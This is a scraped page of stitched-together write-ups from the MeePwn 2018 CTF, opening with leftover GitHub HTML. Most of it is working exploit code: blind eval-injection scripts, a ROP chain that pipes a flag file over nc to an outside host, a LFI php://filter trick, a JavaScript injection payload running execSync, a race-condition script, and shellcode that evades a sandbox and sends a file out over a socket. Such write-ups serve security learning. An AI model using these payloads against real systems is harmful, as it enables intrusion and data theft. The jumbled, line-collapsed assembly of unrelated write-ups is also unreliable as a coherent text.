0 1-1.543-2.575Zm1.763.707a.25.25 0 0 0-.44 0L1.698 13.132a.25.25 0 0 0 .22.368h12.164a.25.25 0 0 0 .22-.368Zm.53 3.996v2.5a.75.75 0 0 1-1.5 0v-2.5a.75.75 0 0 1 1.5 0ZM9 11a1 1 0 1 1-2 0 1 1 0 0 1 2 0Z"></path></svg> <span>You signed in with another tab or window. Reload to refresh your session.</span> <span>You signed out in another tab or window. Reload to refresh your session.</span> </div> <template id="site-details-dialog"> <details class="details-reset details-overlay details-overlay-dark lh-default color-fg-default hx_rsm" open> <summary role="button" aria-label="Close dialog"></summary> <details-dialog class="Box Box--overlay d-flex flex-column anim-fade-in fast hx_rsm-dialog hx_rsm-modal"> <button class="Box-btn-octicon m-0 btn-octicon position-absolute right-0 top-0" type="button" aria-label="Close dialog" data-close-dialog> <svg aria-hidden="true" height="16" viewBox="0 0 16 16" version="1.1" width="16" data-view-component="true" class="octicon octicon-x"> <path d="M3.72 3.72a.75.75 0 0 1 1.06 0L8 6.94l3.22-3.22a.749.749 0 0 1 1.275.326.749.749 0 0 1-.215.734L9.06 8l3.22 3.22a.749.749 0 0 1-.326 1.275.749.749 0 0 1-.734-.215L8 9.06l-3.22 3.22a.751.751 0 0 1-1.042-.018.751.751 0 0 1-.018-1.042L6.94 8 3.72 4.78a.75.75 0 0 1 0-1.06Z"></path></svg> </button> <div class="octocat-spinner my-6 js-details-dialog-spinner"></div> </details-dialog> </details></template> <div class="Popover js-hovercard-content position-absolute" style="display: none; outline: none;" tabindex="0"> <div class="Popover-message Popover-message--bottom-left Popover-message--large Box color-shadow-large" style="width:360px;"> </div></div> <template id="snippet-clipboard-copy-button"> <div class="zeroclipboard-container position-absolute right-0 top-0"> <clipboard-copy aria-label="Copy" class="ClipboardButton btn js-clipboard-copy m-2 p-0 tooltipped-no-delay" data-copy-feedback="Copied!" data-tooltip-direction="w"> <svg aria-hidden="true" height="16" viewBox="0 0 16 16" version="1.1" width="16" data-view-component="true" class="octicon octicon-copy js-clipboard-copy-icon m-2"> <path d="M0 6.75C0 5.784.784 5 1.75 5h1.5a.75.75 0 0 1 0 1.5h-1.5a.25.25 0 0 0-.25.25v7.5c0 .138.112.25.25.25h7.5a.25.25 0 0 0 .25-.25v-1.5a.75.75 0 0 1 1.5 0v1.5A1.75 1.75 0 0 1 9.25 16h-7.5A1.75 1.75 0 0 1 0 14.25Z"></path><path d="M5 1.75C5 .784 5.784 0 6.75 0h7.5C15.216 0 16 .784 16 1.75v7.5A1.75 1.75 0 0 1 14.25 11h-7.5A1.75 1.75 0 0 1 5 9.25Zm1.75-.25a.25.25 0 0 0-.25.25v7.5c0 .138.112.25.25.25h7.5a.25.25 0 0 0 .25-.25v-7.5a.25.25 0 0 0-.25-.25Z"></path></svg> <svg aria-hidden="true" height="16" viewBox="0 0 16 16" version="1.1" width="16" data-view-component="true" class="octicon octicon-check js-clipboard-check-icon color-fg-success d-none m-2"> <path d="M13.78 4.22a.75.75 0 0 1 0 1.06l-7.25 7.25a.75.75 0 0 1-1.06 0L2.22 9.28a.751.751 0 0 1 .018-1.042.751.751 0 0 1 1.042-.018L6 10.94l6.72-6.72a.75.75 0 0 1 1.06 0Z"></path></svg> </clipboard-copy> </div></template> </div> <div id="js-global-screen-reader-notice" class="sr-only" aria-live="polite" ></div> </body></html>
# PyCalcX (web) Those were almost identical challenges, and in fact the first one had a simpler, unintended, solution and therefore another version was released. ## PyCalcX (64 solved, 100p) In the first challenge we get access to a webpage which can evaluate some python for us.The flag is loaded into the memory, so we basically have a Python Jailbreak to solve.We get the [source code](calc1.py) of the challenge. The important things are: 1. We can see only integer or boolean output.2. Parameters are sanitized, and stringified.3. Types of parameters have to match.4. The final payload to eval is `str(repr(value1)) + str(op) + str(repr(value2))` which means for example `'a' + '+' + 'b'` The vulnerability is here: ```python def get_op(val): val = str(val)[:2] list_ops = ['+','-','/','*','=','!'] if val == '' or val[0] not in list_ops: print('<center>Invalid op</center>') sys.exit(0) return val``` The `operator` can be 2-bytes long (like `==`), but only the first byte is checked!This means for example that we can use operator `+'` and therefore close the `'` quote. This means we could evaluate: `'SOMETHING' +''+FLAG and FLAG>source#'` which means `some_string and boolean`, which evaluates to the value of this boolean. Keep in mind we're using the: ```pythonif 'source' in arguments: source = arguments['source'].value``` And not for example `value1` variable, because `source` has no blacklist limitations. ```pythonimport reimport stringimport urllib import requests def main(): flag = "M" while True: prev = 0 for i in range(255): c = chr(i) if c in string.printable: source = urllib.quote_plus(flag + c) op = urllib.quote_plus("+'") arg2 = urllib.quote_plus("+FLAG and FLAG>source#") result = requests.get("http://178.128.96.203/cgi-bin/server.py?source=%s&value1=x&op=%s&value2=%s" % (source, op, arg2)).text if ">>>>" in result: res = re.findall(">>>>.*", result, re.DOTALL)[0] if "False" in res: flag += prev print(flag) break else: prev = c main()``` We check every character until the flag becomes bigger than our payload, which means that previous character was the right one, and we can start working on next flag position.It takes a while but in the end we get: `MeePwnCTF{python3.66666666666666_([_((you_passed_this?]]]]]])` ## PyCalcX2 (54 solved, 100p) Second level of the challenge is very similar.We also get the [source code](calc2.py) The difference is very tiny: ```pythonop = get_op(get_value(arguments['op'].value))``` Which means the operator also passes via blacklist, and therefore cannot contain `'` any more.But we can still inject something behind the operator! We guessed that our first solution was unintended, but the flag suggested that intended solution has something to do with new Python features.We looked at release notes and we found an interesting article: https://www.python.org/dev/peps/pep-0498/ There is a `f` modifier for strings, which allows to do some nice evaluation inside strings.We could for example do `f'{FLAG}'` and it would place the variable value inside the string.However since we can't escape from `'` we can't really create any boolean condition anymore. It took us a while to figure out the approach, but we finally reched: `'T' +f'ru{FLAG>source or 14:x}'` - We use the short circuit `or` to get one of the two results, depending on the result of first comparison. Basically `True or 14` returns `True` and `False or 14` returns 14.- We use `x` modifier to turn 14 into hex digit `e`- The string `f'ru{FLAG>source or 14:x}'` therefore evaluates to either `ru1` or `rue`, depending on the `FLAG>source` condition- The result of evaluation will be either `Tru1` or `True`, and in the second case, we will se the result on the page, because it will be treated as boolean. ```pythonimport reimport stringimport urllib import requests def main(): flag = "M" while True: prev = 0 for i in range(255): c = chr(i) if c in string.printable: print('testing', c) arg1 = urllib.quote_plus("T") op = urllib.quote_plus("+f") arg2 = urllib.quote_plus("ru{FLAG>source or 14:x}") result = requests.get("http://206.189.223.3/cgi-bin/server.py?source=%s&value1=%s&op=%s&value2=%s" % (flag + c, arg1, op, arg2)).text if ">>>>" in result: res = re.findall(">>>>.*", result, re.DOTALL)[0] if "True" in res: flag += prev print(flag) break else: prev = c main()``` The rest of the approach is the same as in previous challenge.After a while we get: `MeePwnCTF{python3.6[_strikes_backkkkkkkkkkkk)}`
`repr` returns a string that evaluates to single-quoted string literal. For example `repr("foo")` == `"'foo'"`. So for normal input the string that gets evaluated looks like `"'value1'=='value2'"`. The second character of "op" is unchecked, so you can use an apostrophe to break out of the second value's string literal. You can't use apostrophes within your values though, so to avoid an error, you can insert a `#` to comment out the tail of the string: For example, submitting "foo", "+'", and "+FLAG#" will evaulate `"'foo'+''+FLAG#'"`. This evaluates without error, but results in "Invalid" being output since the result type is a string. You need to extract the flag through expressions that evaluate to either numbers or booleans. If you need to use forbidden value characters, you can use the `source` variable in your expressions. A character-by-character binary search to fetch the entire flag can be done like this: ```import requestsimport urllib known = 'MeePwnCTF{' while True: print(known) left = ord(' ') right = ord('~') while True: if left == right: known += chr(left) break middle = left + (right - left + 1) / 2 guess = known + chr(middle) print('left {}, right {}, guessing {}'.format(chr(left), chr(right), guess)) r = requests.get('http://178.128.96.203/cgi-bin/server.py?value1=Mee&op=%2B%27&value2=%2Bsource%3CFLAG%23&source='+urllib.quote_plus(guess[3:])) isLess = 'True' in r.text if isLess: left = middle else: right = middle - 1```
# ▼▼▼Grandline(Web:700pts) solved:16/753=2.1%▼▼▼**This writeup is written by [@kazkiti_ctf](https://twitter.com/kazkiti_ctf)** ```It was said to be hidden somewhere deep in the Grand Line, someone in the second part of Grand Line can capture it, could you tell them to give it for you. Let's start a trip in Grand Linehttp://178.128.6.184/3915ef41890b96cc883ba6ef06b944805c9650ee/``` --- ## 【Investigation of functions】 ```・Source code can be viewed with debug parameters・Sending URL to bot(Chrome) will access it (The URL is limited to http://localhost/)``` --- Access URL `http://178.128.6.184/3915ef41890b96cc883ba6ef06b944805c9650ee/` ↓ ```HTTP/1.1 200 OKDate: Mon, 16 Jul 2018 02:18:31 GMTServer: Apache/2.4.18 (Ubuntu)Vary: Accept-EncodingContent-Length: 1464Connection: closeContent-Type: text/html; charset=UTF-8 <html lang="en"><head> <title>The Two piece Treasure</title> <meta charset="utf-8"> <meta name="viewport" content="width=device-width, initial-scale=1"> <link rel="stylesheet" href="css/bootstrap.min.css"> <script src="js/jquery.min.js"></script> <script src="js/bootstrap.min.js"></script></head><body> <div class="container"><div class="jumbotron"> <h1>GRAND LINE</h1> Welcome to Grand Line, You are in the way to become Pirate King, now, let's defeat BigMom first </div><input name='location' value='111.108.19.80' type='hidden'><input name='piece' value='Only whitebeard can see it, Gura gura gura' type='hidden'> <h4>If you eat fruit, you can't swim</h4> <form method="get" action="index.php"> <input type="text" name="eat" placeholder="" value="gomu gomu no mi"> <input type="submit"> </form> </div> Welcome to Grand Line, You are in the way to become Pirate King, now, let's defeat BigMom first </body></html> <html lang="en"> <head> <title>The Two piece Treasure</title> <meta charset="utf-8"> <meta name="viewport" content="width=device-width, initial-scale=1"> <link rel="stylesheet" href="css/bootstrap.min.css"> <script src="js/jquery.min.js"></script> <script src="js/bootstrap.min.js"></script> </head> <body> "; ?> <div class="container"> <div class="jumbotron"> <h1>GRAND LINE</h1> Welcome to Grand Line, You are in the way to become Pirate King, now, let's defeat BigMom first </div> "; if ($loca === "127.0.0.1" || $loca==="::1") { echo "<input name='piece' value='".$secret."' type='hidden'>"; } else { echo "<input name='piece' value='Only whitebeard can see it, Gura gura gura' type='hidden'>"; } Welcome to Grand Line, You are in the way to become Pirate King, now, let's defeat BigMom first ?> <h4>If you eat fruit, you can't swim</h4> <form method="get" action="index.php"> <input type="text" name="eat" placeholder="" value="gomu gomu no mi"> <input type="submit"> </form> Pirate, Let's go to your Grand Line"; } else { echo "You need to eat 'gomu gomu no mi'"; } } ?> </div> You need to eat 'gomu gomu no mi' </body> </html> "; ``` ↓ Also, there are places where input characters are escaped but reflected. --- ## 【Identify the vulnerability】 --- ### 1.Try CSS injection In order to acquire secret, a CSS vulnerability is required on the same page as secret. Therefore, there is only CSS injection by relative path overwriting attack. ↓ There is a CSS relative path( `<link rel="stylesheet" href="css/bootstrap.min.css">`). ↓ When confirming the response header of index.php, `Content-Type: text/html; charset=UTF-8` is given. There is `` bot is Chrome, so it is impossible The reason is that in Chrome, when loading CSS, if Content-Type is not `text/css`, it will be an error and will not be executed. --- ### 2.Try RPO's XSS I check the index.php ↓ ``` <script src="js/jquery.min.js"></script> <script src="js/bootstrap.min.js"></script>``` ↓ Reading in relative path. --- ``` ``` ↓ there is `/*` at the beginning --- ```
[https://github.com/IARyan/CTFSolutions/blob/master/2018/Meepwn/babysandbox_exploit.py](https://github.com/IARyan/CTFSolutions/blob/master/2018/Meepwn/babysandbox_exploit.py)
[My Write-up](https://dangokyo.me/2018/07/16/meepwnctf-2018-qual-re-image_crackme/) My first solve of RE challenge in a high-level CTF. (^_^) Again I make things comlicated. (ToT)
Flag: `MeePwnCTF{Do_y0u_r3m3mb3r_sigreturn}````#!/usr/bin/python# Author: mementomori [OpenToAll]from pwn import *from time import sleep local = Falseif local: s = process("./one_shot", env = {"LD_PRELOAD": "./libc-2.24.so"})else: s = remote("178.128.87.12", 31338) s.recvuntil('> ') MAGIC = 0x8a919ff0 ALARM_PLT = 0x400520PUTS_PLT = 0x400510ALARM_GOT = 0x601020 POP_RDI = 0x400843 # pop rdi ; retPOP_RSI_R15 = 0x400841 # pop rsi ; pop r15 ; retPOP_RBP = 0x4006FB # pop rbp ; retSET_EAX = 0x4006F7 # mov eax, [rbp-0xC] ; pop rbx ; pop rbp ; retCOPY_FUNC = 0x400684 # sequentially copies eax bytes from rdi to rsi # [rbp-0x20] and [rbp-0x1C] need to be equal (or null) LEN_ADDR = 0x400080 # contains 0x238, can point to any reasonable number > 0x80TRASH_ADDR = 0x601100 # random writable addr in a nulled areaDEST_ADDR = 0x601600 # where our copied buffer will be cmd = "cat /home/one_shot/flag|nc 1.2.3.4 1337"assert len(cmd) < 69cmd += "\x00" * (69 - len(cmd)) p = p64(MAGIC)p += "/bin/sh\x00"p += "-c\x00"p += cmd ARGV_ADDR = DEST_ADDR + len(p) - 8# argv = ["/bin/sh", "-c", cmd, 0]p += p64(DEST_ADDR) # points to /bin/sh\x00p += p64(DEST_ADDR + 8) # points to -c\x00p += p64(DEST_ADDR + 11) # points to cmdp += p64(0) EXECVE_SYSCALL_ADDR = DEST_ADDR + len(p) - 8p += p64(59) # execve syscall numberp += "A" * (0x80-len(p)) # put length (0x238) into eaxp += p64(LEN_ADDR + 0xC) # => rbpp += p64(SET_EAX) # put [rbp-0xC] = 0x238 into eaxp += p64(0xdeadbeef) # => rbxp += p64(TRASH_ADDR) # => rbp # copy eax (0x238) bytes from rdi to rsi# rdi automagically points to a part of our input bufferp += p64(POP_RSI_R15)p += p64(DEST_ADDR - 0x4) # rsi, dest buffer (we don't need first 4 bytes)p += p64(0xdeadbeef) # => r15p += p64(COPY_FUNC)p += p64(0xdeadbeef) # => rbxp += p64(TRASH_ADDR) # => rbp # we now have the input buffer starting from "/bin/sh\x00..." at DEST_ADDR# let's overwrite one byte in alarm GOT to point directly to syscall instruction# at this point conveniently rax = 1 so we don't have to call SET_EAX againp += p64(POP_RDI)p += p64(0x400001) # contains byte 0x45 p += p64(POP_RSI_R15)p += p64(ALARM_GOT) # => rsi, alarm GOTp += p64(0xdeadbeef) # => r15p += p64(COPY_FUNC) # copy eax (1) bytes from rdi to rsip += p64(0xdeadbeef) # => rbxp += p64(0xdeadbeef) # => rbp # calling puts will set rdx (envp for execve) to point to some null addressp += p64(POP_RDI)p += p64(DEST_ADDR)p += p64(PUTS_PLT) # set eax to execve syscall numberp += p64(POP_RBP)p += p64(EXECVE_SYSCALL_ADDR + 0xC)p += p64(SET_EAX) # put [rbp-0xC] = 68 into eaxp += p64(0xdeadbeef) # => rbxp += p64(0xdeadbeef) # => rbp # set rdi to /bin/shp += p64(POP_RDI)p += p64(DEST_ADDR) # set rsi to argv pointer arrayp += p64(POP_RSI_R15)p += p64(ARGV_ADDR)p += p64(0xdeadbeef) # => r15 # finally call syscallp += p64(ALARM_PLT) s.sendline(p) sleep(10)```
Adamtune--------Hey folks! We really wanted to write-up this challenge for you -- but we decided to let Adam Doupé personally explain it instead. [https://youtu.be/3-4cnyswp4w](https://youtu.be/3-4cnyswp4w)
# Ezchallz (crypto/web, 60 solved, 100p) In the task we get access to a webpage, where we could register, and we get redirected so a page with some fake flag.First thing we notice is that registration link is `http://206.189.92.209/ezchallz/?page=register` So we try some LFI there, and it works, we can do `http://206.189.92.209/ezchallz/?page=index` for example.So it will include any `php` file.Not very useful, since we don't have any, but there is another trick we can test here - PHP wrappers.We place base64 encode wrapper: `http://206.189.92.209/ezchallz/?page=php://filter/read=convert.base64-encode/resource=index`And we can recover the source code of the index and register files. Index has just: ```php ``` So we can get anything but `secret.php`.Register has more interesting stuff: ```php ``` We can see that: 1. Directory name we get is constructed by XORing md5 of our username with some secret salt. 2. If the md5 of username we provide matches some random bytes, we get message `Here is your flag:` with the real flag. We can't really break this md5 of the special user, but since we can calculate md5 of our username, we can XOR this value with directory name we got to recover the salt.Now we know both the salt and md5 of special user, so we can calculate the real flag directory: ```pythonimport hashlibimport requestsfrom crypto_commons.generic import xor_string def main(): username = "test" plain = hashlib.md5(username).digest() our_dir = "b8240bb93fb5c4321196ff675b7f98eb".decode("hex") salt = xor_string(our_dir, plain) admin = xor_string(hashlib.md5("admin").digest(), salt) admin_dir = admin.encode("hex") print((requests.get("http://206.189.92.209/ezchallz/users/%s/flag.php" % admin_dir)).text) main()``` And we get: `MeePwnCTF{just-a-warmup-challenge-are-you-ready-for-hacking-others-challz?}`
```python!/usr/bin/pythonfrom pwn import *context.log_level = 'critical' host,port = 'mngmnt-iface.ctfcompetition.com',1337r = remote(host, port) r.recv(); r.recv()r.sendline('2')r.recv(); r.recv()r.sendline('../flag')print r.recv()```
In `MeePwn 2018 - BabySandbox` challenge, lesson learned is that `openat`, `readv`, and `writev` syscalls are the alternatives for `open`, `read`, and `write` syscalls, respectively, when the latter syscalls are blocked.
### Service overview RestChain is a service for storing blocks of a private blockchain, written in Go. It provides APIs for storing and retrieving blocks, as well as supplementary APIs for generating key pairs and generating/verifying cryptographic signatures. The content of the blocks can be arbitrary blob (it actually contained flags). The service includes access control, which allows to specify ACLs for individual blocks. There are four types of rules: 1. Always allow.2. Always deny.3. Allow access if the access request contains `Acl-Secret` header with a specific value (i.e. a password).4. Allow access if the access request contains a ed25519 signature for it, generated using one of specified keys. The access control is implemented in a strange way:1. User performs a request to the server to generate an ACL, specifying the rule and all required parameters (password / set of allowed public keys).2. The server generates some javascript code (!) that validates an access request, and adds HMAC signature of the code calculated using the server key.3. When the user wants to add a block, she supplies the generated js code and the HMAC for it. The server verifies the HMAC and saves the new block.4. When another user wants to access a stored block, the server runs the stored code in a separated nodejs process. Even though it done in this unusual way, it doesn't leads to RCE immediately: as seen from above, js code is generated by the server, a HMAC must be provided for it to be run, and the secret key for it is unknown to the attacker. ### Vulnerability & Exploitation The fact that the server generates and executes some js code suggests code injection, which was found by our team during the first hour. The function that generates code for password check is clearly substituting unsanitized value: ```golang func makeAclRequireSecret(params url.Values) (string, error) { if vs, ok := params["secret"]; !ok || len(vs) != 1 { return "", fmt.Errorf("parameter secret must be given exactly once") } secret := params.Get("secret") acl := `allowIff(httpHeader('Acl-Secret') === '` + secret + `');` return acl, nil} ``` This code is intended to generate javascript that checks password, like ```javascriptallowIff(httpHeader('Acl-Secret') === 'SOME_SECRET_VALUE_HERE')``` but the value of "secret" is not sanitized, so we can use classic single quote injection and append js code to be executed. However, exploitation was not that simple because of exfiltration problems. There were some iptables rules that prevented network connections, and even the whole service's file system seemed unwritable. We investigated how the service itself blocks. They are stored in separate files, and the server uses suid binary `restchain-persist` to write them. This binary is owned by user `restchain-persist` which has write access to the file system. So, we constructed payload that uses this binary to grep all flags into `public/images/` subfolder, which was accessible from webroot. Final payload was: ```'+(String(require('child_process').execSync('tail -n +1 /srv/restchain/data/blocks/*/* | grep FAUST | /srv/restchain/bin/restchain-persist /srv/restchain/data/public/images/<SOME_RANDOM_NAME>.png)))+'``` This payload was supplied as `secret` parameter for the code generator `makeAclRequireSecret` above, and gave us MAC for the code that executes the specified command. After the competition we found out that the `public/images/` folder allowed listing, and pcap dumps of our traffic suggest that some teams listed the folder and (probably) used the files created by our exploit. Good for them. [PoC](https://gist.github.com/neex/2217b7913a7981eea99c2914cc081dfa#file-restchain_poc-py)
# XSS (re, 6 solves, 900p) > The flag format is MeePwnCTF{correct_input} > Unzip password: MeePwn Here's the main function: ![main.pn](main.png) If the program is ran without any arguments (and thus argc==1), it spawns 2 additional processess with args `1` and `1 2`, and goes on to execute `argc_switch`: ![argc_switch.png](argc_switch.png) Generally, the program contains 3 different processes that check the password asynchronically using thread locks. Before we get a clear assembly though, there are 2 obfuscation tricks that we have to go through: There are conditional jumps that are always taken and the next instruction after the bogus `jz` is a bad instruction to screw up our disassembly: (notice the `addr+1`) ![before.png](before.png) We can correctly set the data/code stuff in ida and get a pretty good dissasembly: ![after.png](after.png) Additionaly, if we want IDA to recognize this code as a function we're gonna need to patch the `jz` instructions to `jmp`. Next thing is encrypted code: ``` c++BOOL __cdecl switch_stuff(LPVOID lpParameter){ void *v2; // [esp+1Ch] [ebp-14h] HANDLE hProcess; // [esp+20h] [ebp-10h] SIZE_T i; // [esp+24h] [ebp-Ch] _BYTE *lpBuffer; // [esp+28h] [ebp-8h] SIZE_T dwSize; // [esp+2Ch] [ebp-4h] hProcess = OpenProcess(dwDesiredAccess, 0, process_stuff.field_0); if ( !hProcess ) { exit(0); } dwSize = 0; lpBuffer = 0; if ( lpParameter == 1 ) { dwSize = 1024; lpBuffer = subfun_1; } if ( lpParameter == 2 ) { dwSize = 864; lpBuffer = sunfun_2; } if ( lpParameter == 3 ) { dwSize = 1040; lpBuffer = subfun_3; } v2 = VirtualAllocEx(hProcess, 0, dwSize, 0x1000u, 0x40u); if ( !v2 ) { exit(0); } for ( i = 0; i < dwSize; ++i ) { lpBuffer[i] ^= 0x33u; } if ( !WriteProcessMemory(hProcess, v2, lpBuffer, dwSize, 0) ) { exit(0); } if ( !CreateRemoteThread(hProcess, 0, 0, v2, lpParameter, 0, 0) ) { exit(0); } return CloseHandle(hProcess);}``` Basing on the number of arguments, a different code section is decrypted and injected into a new thread. Dexoring the buffer and loading the buffers as additional binaries in IDA works pretty good. Here's a tree of execution that sums it up pretty well: ![tree.png](tree.png) Each node creates the next one by writing code hardcoded in the function body to itself using WriteProcessMemory: ![injection.png](injection.png) The `aesenc` block represents a code section that encrypts the global string with a one round of aes by using the `aesenc` instruction and a hard-coded key: ![aesenc.png](aesenc.png) So: * The 16-byte key is read from stdin using getchar* The input is xored with a hard-coded key* It's encrypted 9 times with a single round of aes with a hard-coded key* `aesenclast` is the last round of aes* The outcome buffer is compared with a hard-coded string* The result is printed So all we have to do is reverse the operations and we'll get the flag. We can't just shuffle the aes rounds though, so we have 2 options: * Analyze the thread locks order and come up with the original execution order * Brute-force it (#yolo) Obviously, brute-forcing is faster as there are only 8! possible combinations (even less when when we take into consideration the block order). We whim up a quick python script that does the job for us: ``` pythonimport itertoolsfrom aes import AESfrom crypto_commons.generic import xor_string, is_printable def convert_array_to_strings(arr): return "".join(map(chr, arr)) possible_rounds = [ [0x45,0x33,0x7E,0x3C,0xF0,0x7F,0x2D,0xAC,0x33,0x44,0x3B,0x75,0x48,0x2A,0xC5,0x46,], [0x3E,0x43,0x95,0x3C,0x69,0xD0,0x73,0x67,0x22,0x97,0xD1,0xB1,0xA3,0x61,0xFD,0x4A,], [0x4D,0xF0,0xEC,0x1A,0x3D,4,0xA9,0xDB,0xF5,0xD5,8,0x1A,0x80,0x70,0x93,6,], [0x60,0x9D,0x47,0x31,0xB5,0xDD,0x36,0x7E,0xEF,0x99,0x7A,0xD8,0x49,0x5C,0x45,0x23,], [0xFA,0xEC,0xDB,0xBB,0x93,0xB2,0x3A,0xEF,0x68,0xE4,0xBE,0x6D,0x2F,0xF6,0x6B,0x4C,], [0x2E,0xEB,0xCF,0x46,5,0xAE,0x3D,0x94,0xBA,0x8C,0xCC,0xF4,0x4C,0xA1,0x1D,0x4C,], [0xBA,0xF0,0xAB,0x1F,0xAC,0x2F,0x58,0x81,0xF1,0x25,0xB1,0x59,0xF9,0x79,0xDE,3,], [0x34,0xAF,0xFF,0x57,0x51,0x3A,0xF,0xEC,0x8B,0xA0,0xE6,0x5F,0x8C,0x98,0x60,0x78,], [0x74,0xF9,0xC5,0x42,0x7F,0x7A,0x6E,0xE2,0xB1,0x1F,0x2C,0xC2,0x18,4,0xB8,0xF7,],]last = [0xA,0x98,0x63,0x1D,0x84,0x69,0x82,8,7,0xCA,0x31,0xF7,0x1D,0x33,0x56,0x29]ct = [0x68,0xCE,0xDF,0xDD,0x58,0x6C,0x37,0xE4,0xC4,0xE1,0xAC,0xB4,9,0x7F,0x97,0xA4]xorkey = [0x6A, 0x15, 0x6D, 0xB, 0x9D, 0xF0, 0xC2, 0x34, 0x74, 0x8A, 0xD4, 0x4F, 0x50, 0x84, 0xA0, 0x7F, ] possible_rounds = map(convert_array_to_strings, possible_rounds)ct = convert_array_to_strings(ct)last = convert_array_to_strings(last)xorkey = convert_array_to_strings(xorkey) for i in itertools.permutations(possible_rounds): A = AES() rounds = i try_ct = A.sr_decryptlast(ct, last) for r in rounds: try_ct = A.sr_decrypt(try_ct, r) print(xor_string(try_ct, xorkey))``` And get the most printable key: `5B4D656550776E5D` \o/
# 0xBAD Minton (web/pwn, 14 solved, 740p) ## Web part First part of the task is on the Web side.We get access to some webpage where we can register, and sign-up for 0-3 "courses".There is really nothing more, no SQLi in forms or anything else. In the root of the page we get access to some interesting files: - [backend server binary](backend_server)- Todo note `Quickly complete netcat client version on 178.128.84.72:9997` We can connect via netcat to given endpoint, and the binary we just found is actually listening there for connections.Once we reverse engineer the binary a bit, we come to the conclusion, that we could exploit it, if we manage to sign-up for more than 3 courses.This has to be done on the web side. We thought that maybe a simple race condition will work, but it didn't.Then we tried to do race condition, with multiple sessions, and it worked just fine. We create 2 different user session on the webpage.Then we try to add courses from both of them at the same time: ```pythonimport threadingimport requestsfrom queue import Queue max = 100threads = Queue()init_barrier = threading.Barrier(max * 2) def enroll(cookie): threads.get() init_barrier.wait() url = "http://178.128.84.72/login.php?action=enroll" print(requests.get(url, cookies={"PHPSESSID": cookie}).text) threads.task_done() def worker2(index): enroll("33hoabtfv6t8amoovlrjecqun5") def worker(index): enroll("qq5kqe8lbeim1md44m2bnuajr4") def main(): for i in range(max): thread = threading.Thread(target=worker, args=[i]) thread.daemon = True thread.start() for i in range(max): thread = threading.Thread(target=worker2, args=[i]) thread.daemon = True thread.start() for i in range(max * 2): threads.put(i) threads.join() main()``` We go with 2 sessions, and 100 threads each.After we run this, we get user with 6 courses, which is enough to exploit the binary. ## Pwn part Now to explain why we needed more than 3 sessions. The serwer allows us to load our user from mysql database using a token then input our courses names and print them. ![example.png](example.png) To do so, it allocates 3080 bytes on the stack: ``` c++char s[3080]; // [rsp+290h] [rbp-C10h] ...if ( courses_num ){ for ( j = 0; j < courses_num; ++j ) { printf("#%d Oh I heard that you already enrolled a course\n", j); v3 = &s[1024 * (signed __int64)(signed int)j]; printf("What is the course name?> "); read(0, v3, 1024uLL); }}``` Now that we have more courses than space on stack we can try to overwrite some of the stack! The flag is already read into a global variable for us, cool!``` c++int read_flag(){ int buf_4; // ST34_4 alarm(0x14u); setvbuf(stderr, 0LL, 2, 0LL); setvbuf(stdin, 0LL, 2, 0LL); setvbuf(stdout, 0LL, 2, 0LL); chdir((const char *)(unsigned int)"/home/badminton/"); buf_4 = open((const char *)(unsigned int)"flag", 0); read(buf_4, (void *)(unsigned int)&unk_604070, 0x40uLL); return close(buf_4);}``` Unfortunately we cannot just write the flag's pointer onto stack and then read read the outcome so we'll have to come up with something else. ![checksec.png](checksec.png) Maybe we can use the stack cookie to our advantage? https://github.com/ctfs/write-ups-2015/tree/master/32c3-ctf-2015/pwn/readme-200 By overwriting the pointers in argv and triggering stack smashing we could leak the flag as the programs name, let's try it out! ``` pythonfrom pwn import *context.log_level = 'debug' token = '0010318d0edf64b4a79634c005aac0244bc794f0014cbe89fd6356807a806509' r = remote('178.128.84.72', 9997) print(r.recvuntil('Token>')) r.send(token + '\n') for i in range(3): print(r.recvuntil('What is the course name?>')) r.send("Bzorp") for i in range(3): r.recvuntil('What is the course name?>') r.send(p64(0x0000000000604070)*(1024 / 8)) r.interactive()``` We're just basically hammering the whole stack with the flag's address. ```----------------BADMINTON TRAINING----------------1. Push-up2. Running3. Give up> $ 3[DEBUG] Sent 0x2 bytes: '3\n'[DEBUG] Received 0x61 bytes: '*** stack smashing detected ***: MeePwnCTF{web+pwn+oldschool+stuff+stack+terminated}\n' ' terminated\n'*** stack smashing detected ***: MeePwnCTF{web+pwn+oldschool+stuff+stack+terminated} terminated[*] Got EOF while reading in interactive``` It worked!
There are already some good writeups: https://ctftime.org/task/6287 We wanted you to show a (what we think) short and elegant solution that also uses `pwnlib.shellcraft` because we are lazy :) The main idea behind the solution is that we wanted to find out, if we are running within unicorn or within the native binary `bin`. The unicorn code in `app.py` (https://github.com/ssspeedgit00/CTF/blob/master/2018/meepwn/babysandbox/app.py) filters certian syscalls so that we cannot just write normal shellcode. If we could pass the unicorn test and then execute arbitrary shellcode... this would be nice :) With `gdb` you can break in `bin` at the `call eax` instruction and "look around" how registers or the stack looks. unicorn cannot know how this looks and thus cannot initialize all registers or prepare the stack and so on, so that it would look like a native execution (unicorn does not know the `bin` binary). Long story short: we had a look at the `ecx` register and saw with `gdb` that it is set to `0x100`. So we wrote a little bit of assembler code that tests for that value. If it is the same then we are executed natviely (`bin`) otherwise we are running within unicorn. With `pwnlib.shellcraft` we added some code that sends us the content of the file `flag` (which was a good guess :) ) to a server that we have access to and that was running netcat in listening mode. Here is the full solution: ```python#!/usr/bin/env python2 import base64 import requestsfrom pwnlib.asm import asm, contextfrom pwnlib import shellcraft context.update(arch="i386", os="linux") target_url = "http://178.128.100.75/exploit" def get_payload(): return { "payload": base64.b64encode( asm( "cmp ecx, 0x100\n" + # if ecx == 0x100 we run in "bin" and NOT in unicorn (sandbox evasion) "jnz loose\n" + shellcraft.i386.linux.connect("1.2.3.4", 55555) + # we ran a nc -l -p 55555 on a server shellcraft.i386.linux.readfile("flag", "edx") + # edx contains the socket descriptor from connect(), # flag is a file (good guess) "loose:\n" + "nop" # unicorn runs till the end of this code; there must not be any other code after the nop ) ).decode() } def send_payload(payload): return requests.post( target_url, json=payload, # valid session cookie necessary... otherwise flask app will crash :/ cookies={"session": "eyJJU0JBRFNZU0NBTEwiOmZhbHNlfQ.DitWFg.q6JRhyuAEIZB64HNjRvCXyMY5EA"} ) def main(): response = send_payload(get_payload()) print(response.content) # nc -l -p 55555 on the server prints: MeePwnCTF{Unicorn_Engine_Is_So_Good_But_Not_Perfect} if __name__ == "__main__": main() ``` lolcads
